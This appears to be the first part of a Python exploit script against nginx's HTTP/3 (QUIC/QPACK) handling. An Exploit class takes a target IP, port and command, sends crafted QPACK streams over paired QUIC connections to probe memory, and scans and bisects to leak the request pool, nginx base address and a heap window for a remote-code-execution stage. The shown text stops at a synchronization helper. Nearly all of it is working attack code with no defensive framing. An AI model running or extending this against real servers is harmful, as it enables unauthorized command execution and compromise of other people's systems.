1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
import asyncio
from contextlib import asynccontextmanager
from dataclasses import dataclass
import ipaddress
import socket
import ssl
import struct
import sys
import pylsqpack
from aioquic.buffer import Buffer
from aioquic.asyncio.client import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.connection import QuicConnection
from aioquic.quic.events import PingAcknowledged, StreamDataReceived
from aioquic.quic.packet import pull_quic_header
IDLE_TIMEOUT = 2.0
PROBE_TIMEOUT = 1.5
POOL_PROBE_TIMEOUT = 1.8
SCAN_START = 0x550000000000
SCAN_STOP = 0x700000000000
SCAN_STEP = 0x400000000
LABEL_WIDTH = 14
class Protocol(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.buf = b""
self.ping_acknowledged = asyncio.Event()
self.acknowledged_pings = set()
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
self.buf += event.data
elif isinstance(event, PingAcknowledged):
self.acknowledged_pings.add(event.uid)
self.ping_acknowledged.set()
async def wait_connected(self):
try:
await super().wait_connected()
except asyncio.CancelledError:
waiter = self._connected_waiter
self._connected_waiter = None
if waiter is not None:
waiter.cancel()
raise
class PairSocket(asyncio.DatagramProtocol):
def __init__(self, cid_length):
self.cid_length = cid_length
self.protocols = []
def datagram_received(self, data, addr):
try:
destination = pull_quic_header(
Buffer(data=data), host_cid_length=self.cid_length
).destination_cid
except ValueError:
return
for protocol in self.protocols:
if any(cid.cid == destination for cid in protocol._quic._host_cids):
protocol.datagram_received(data, addr)
return
class PairTransport:
def __init__(self, transport):
self.transport = transport
def sendto(self, data, addr=None):
self.transport.sendto(data, addr)
def close(self):
pass
@dataclass
class ProbePlan:
pool: int
base: int
rce_pool: int
heap_floor: int
heap_ceiling: int
def quic_config():
cfg = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
cfg.verify_mode = ssl.CERT_NONE
cfg.idle_timeout = IDLE_TIMEOUT
return cfg
def pref(v, bits, first):
mask = (1 << bits) - 1
if v < mask:
return bytes([first | v])
out = [first | mask]
v -= mask
while v >= 128:
out.append((v & 127) | 128)
v >>= 7
out.append(v)
return bytes(out)
def vi(v):
return bytes([v]) if v < 64 else bytes([0x40 | (v >> 8), v & 255])
def hold(proto, out):
old = proto._transport.sendto
def send(data, addr=None):
out.append((old, data, addr))
proto._transport.sendto = send
return old
def flush(out, copies=1):
for old, data, addr in out:
for _ in range(copies):
old(data) if addr is None else old(data, addr)
@asynccontextmanager
async def raw_pair(host, port):
configs = [quic_config(), quic_config()]
for config in configs:
config.server_name = host
config.idle_timeout = 3.0
socket_protocol = PairSocket(configs[0].connection_id_length)
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.bind(("", 0))
transport, _ = await asyncio.get_running_loop().create_datagram_endpoint(
lambda: socket_protocol,
sock=udp_socket,
)
protocols = []
try:
for config in configs:
protocol = Protocol(QuicConnection(configuration=config))
protocol.connection_made(PairTransport(transport))
socket_protocol.protocols.append(protocol)
protocols.append(protocol)
protocol.connect((host, port))
await protocol.wait_connected()
yield protocols
finally:
for protocol in protocols:
if protocol._timer is not None:
protocol._timer.cancel()
protocol._timer = None
if protocol._transmit_task is not None:
protocol._transmit_task.cancel()
protocol._transmit_task = None
protocol._closed.set()
transport.close()
await asyncio.sleep(0)
def rce_close(protocol):
timer = getattr(protocol, "_timer", None)
if timer is not None:
timer.cancel()
protocol._timer = None
task = getattr(protocol, "_transmit_task", None)
if task is not None:
task.cancel()
protocol._transmit_task = None
protocol.transmit = lambda: None
protocol._closed.set()
protocol._transport.close()
@asynccontextmanager
async def rce_connection(host, port):
config = quic_config()
config.idle_timeout = 3.0
manager = connect(
host,
port,
configuration=config,
create_protocol=Protocol,
wait_connected=True,
)
protocol = await manager.__aenter__()
try:
yield protocol
finally:
rce_close(protocol)
await asyncio.sleep(0)
await manager.__aexit__(None, None, None)
def emit(text):
print(text, end="", flush=True)
def status(prefix, label, text):
emit(f"{prefix} {label:<{LABEL_WIDTH}}: {text}\n")
def progress(label, done, total, every=64):
if done == 1 or done == total or done % every == 0:
status("[*]", label, f"{done}/{total}")
def show_plan(plan):
status("[+]", "Request Pool", f"{plan.pool:#018x}")
status("[+]", "Nginx Base", f"{plan.base:#018x}")
status("[+]", "RCE Pool", f"{plan.rce_pool:#018x}")
status("[+]", "Heap Window",
f"{plan.heap_floor:#018x}-{plan.heap_ceiling:#018x}")
class Exploit:
def __init__(self, target_ip, target_port, cmd):
self.host = target_ip
self.port = target_port
self.cmd = cmd
encoder = pylsqpack.Encoder()
cap = encoder.apply_settings(4096, 16)
headers = [
(b":method", b"GET"),
(b":scheme", b"https"),
(b":authority", target_ip.encode()),
(b":path", b"/"),
(b"x-test", b"A" * 20),
]
encoder.encode(4, headers)
unblock, block = encoder.encode(0, headers)
self.breq = b"\x01" + vi(len(block)) + block
self.unblock = b"\x02" + cap + unblock
self.generation = 0
self.anchor_attempt = 0
self.anchor_warmed = False
self.barrier_uid = 0x9000
async def probe(self, addr):
try:
return await asyncio.wait_for(self._probe_impl(addr), PROBE_TIMEOUT)
except (asyncio.TimeoutError, Exception):
await asyncio.sleep(0.08)
return False
async def _probe_impl(self, addr):
pay = struct.pack("<QQ", addr, addr + 0x1000)
try:
async with raw_pair(self.host, self.port) as (a, v):
qa, qv, held = a._quic, v._quic, []
oa, ov = hold(a, held), hold(v, held)
qa.send_stream_data(2, b"\x00\x04\x00")
qa.send_stream_data(
6,
b"\x02" + pref(4096, 5, 0x20) + b"\xc0"
+ pref(1, 7, 0) + b"X" + b"\xc0"
+ pref(16, 7, 0),
True,
)
a.transmit()
qv.send_stream_data(2, b"\x00\x04\x00")
qv.send_stream_data(0, self.breq)
v.transmit()
qa.send_stream_data(
10, b"\x02\xc0" + pref(16, 7, 0) + pay, False
)
a.transmit()
a._transport.sendto, v._transport.sendto = oa, ov
flush(held)
await asyncio.sleep(0.02)
qv.send_stream_data(6, self.unblock, False)
v.transmit()
await asyncio.sleep(0.12)
return b"hello world" in v.buf
except Exception:
await asyncio.sleep(0.08)
return False
async def pool_probe(self, addr):
try:
return await asyncio.wait_for(
self._pool_probe_impl(addr), POOL_PROBE_TIMEOUT
)
except (asyncio.TimeoutError, Exception):
await asyncio.sleep(0.08)
return False
async def _pool_probe_impl(self, addr):
pay = struct.pack("<QQ", addr, addr)
try:
async with raw_pair(self.host, self.port) as (a, v):
qa, qv, held = a._quic, v._quic, []
oa, ov = hold(a, held), hold(v, held)
qa.send_stream_data(2, b"\x00\x04\x00")
qa.send_stream_data(
6,
b"\x02" + pref(4096, 5, 0x20) + b"\xc0"
+ pref(1, 7, 0) + b"X" + b"\xc0"
+ pref(16, 7, 0),
True,
)
a.transmit()
qv.send_stream_data(2, b"\x00\x04\x00")
qv.send_stream_data(0, self.breq)
v.transmit()
qa.send_stream_data(
10, b"\x02\xc0" + pref(16, 7, 0) + pay, False
)
a.transmit()
a._transport.sendto, v._transport.sendto = oa, ov
flush(held, 2)
await asyncio.sleep(0.02)
qv.send_stream_data(6, self.unblock, False)
v.transmit()
await asyncio.sleep(0.18)
return b"hello world" in v.buf
except Exception:
await asyncio.sleep(0.08)
return False
async def votes(self, check, addr, need=4, total=5):
n = 0
for i in range(total):
if await check(addr):
n += 1
if n >= need:
return True
if n + total - i - 1 < need:
return False
return False
async def reliable(self, check, addr):
score = 0
while -12 < score < 12:
score += 2 if await check(addr) else -1
return score > 0
async def leak_pool(self, check_page, lo_ok=0,
hi_ok=0xffffffffffff, label="Pool Leak"):
start, stop, step = SCAN_START, SCAN_STOP, SCAN_STEP
if lo_ok != 0 or hi_ok != 0xffffffffffff:
start = max(SCAN_START, (max(0, lo_ok) // step) * step)
stop = min(SCAN_STOP, ((hi_ok + step - 1) // step) * step)
scan_worst = ((stop - start) // step) + 1
status("[*]", label, f"scanning {start:#018x}..{stop:#018x}")
while True:
actual = 0
x = start
while x <= stop:
actual += 1
progress(label, actual, scan_worst)
if (await self.pool_probe(x)
and await self.votes(self.pool_probe, x, 3, 6)
and await self.reliable(self.pool_probe, x)):
hit = x
status("[*]", label, f"candidate {hit:#018x}")
while (
hit - step >= start
and await self.reliable(self.pool_probe, hit - step)
):
hit -= step
while True:
lo, hi = hit - step, hit
while hi - lo > 0x1000:
actual += 1
mid = ((lo + hi) // 2) & ~0xfff
if await self.reliable(self.pool_probe, mid):
hi = mid
else:
lo = mid
if max(lo_ok, start) <= hi <= hi_ok:
page = (not check_page
or await self.reliable(self.probe, hi))
if (
check_page
and not page
and await self.reliable(self.pool_probe, hi)
and not await self.reliable(self.pool_probe, lo)
):
page = (await self.reliable(self.probe, hi)
or await self.reliable(self.probe, hi))
if page:
status("[+]", label, f"{hi:#018x}")
return hi, scan_worst + 22, actual
if not await self.reliable(self.pool_probe, hit):
break
x += step
status("[*]", label, "retry")
async def find_base(self, pool):
async def mapped(addr):
score = 0
while -15 < score < 17:
score += 3 if await self.probe(addr) else -1
return score > 0
step = 0x80000
x = (pool & ~0xfff) - 0x400000
limit = pool - 0x80000000
worst = ((x - limit) // step) + 1
actual = 0
status("[*]", "Nginx Leak", f"scanning {x:#018x}..{limit:#018x}")
while x > limit:
actual += 1
progress("Nginx Leak", actual, worst)
if await self.probe(x):
hit = x
status("[*]", "Nginx Leak", f"candidate {hit:#018x}")
score = 0
while -2 < score < 16:
score += 3 if await self.probe(hit) else -1
if (
score >= 16
and await mapped(hit)
and not await mapped(hit + step)
):
lo, hi = hit, hit + 0xf2000
while hi - lo > 0x1000:
mid = ((lo + hi) // 2) & ~0xfff
if await mapped(mid):
lo = mid
else:
hi = mid
top = lo
if (
await mapped(top)
and not await mapped(top - 0xf2000)
and await mapped(top - 0xf1000)
and await mapped(top - 0x80000)
and await mapped(top - 0x1000)
and not await mapped(top + 0x1000)
):
base = top - 0x26c000
status("[+]", "Nginx Base", f"{base:#018x}")
return base, worst, actual
status("[*]", "Nginx Leak",
f"rejected {top - 0x26c000:#018x}")
x = hit - step
continue
x -= step
await asyncio.sleep(0.02)
raise RuntimeError("nginx base scan failed")
async def reset_worker(self):
await self.probe(0x414141410000)
await asyncio.sleep(0.3)
await self.probe(0x414141410000)
await asyncio.sleep(0.6)
async def address_probe(self):
await self.reset_worker()
pool, pworst, pactual = await self.leak_pool(
True, label="Pool Leak"
)
status("[*]", "Pool Leak", f"probes {pactual}/{pworst}")
attempt = 0
while True:
attempt += 1
await self.reset_worker()
try:
base, bworst, bactual = await self.find_base(pool)
break
except RuntimeError:
status("[!]", "Nginx Leak", f"attempt {attempt} failed")
status("[*]", "Nginx Leak", f"probes {bactual}/{bworst}")
await self.reset_worker()
rce_pool, rworst, ractual = await self.leak_pool(
False, base + 0x269000, base + 0x80000000,
"RCE Pool"
)
heap_floor = rce_pool & ~0xfff
heap_ceiling = heap_floor + 0x1000
status("[*]", "RCE Pool", f"probes {ractual}/{rworst}")
return ProbePlan(
pool, base, rce_pool, heap_floor, heap_ceiling,
)
def _next_barrier_uid(self):
self.barrier_uid = 0x9000 + (
(self.barrier_uid - 0x8fff) & 0xfff
)
return self.barrier_uid
async def _synchronize(self, protocol, uid):
protocol.ping_acknowledged.clear()
protocol._quic.send_ping(uid)
protocol.transmit()
|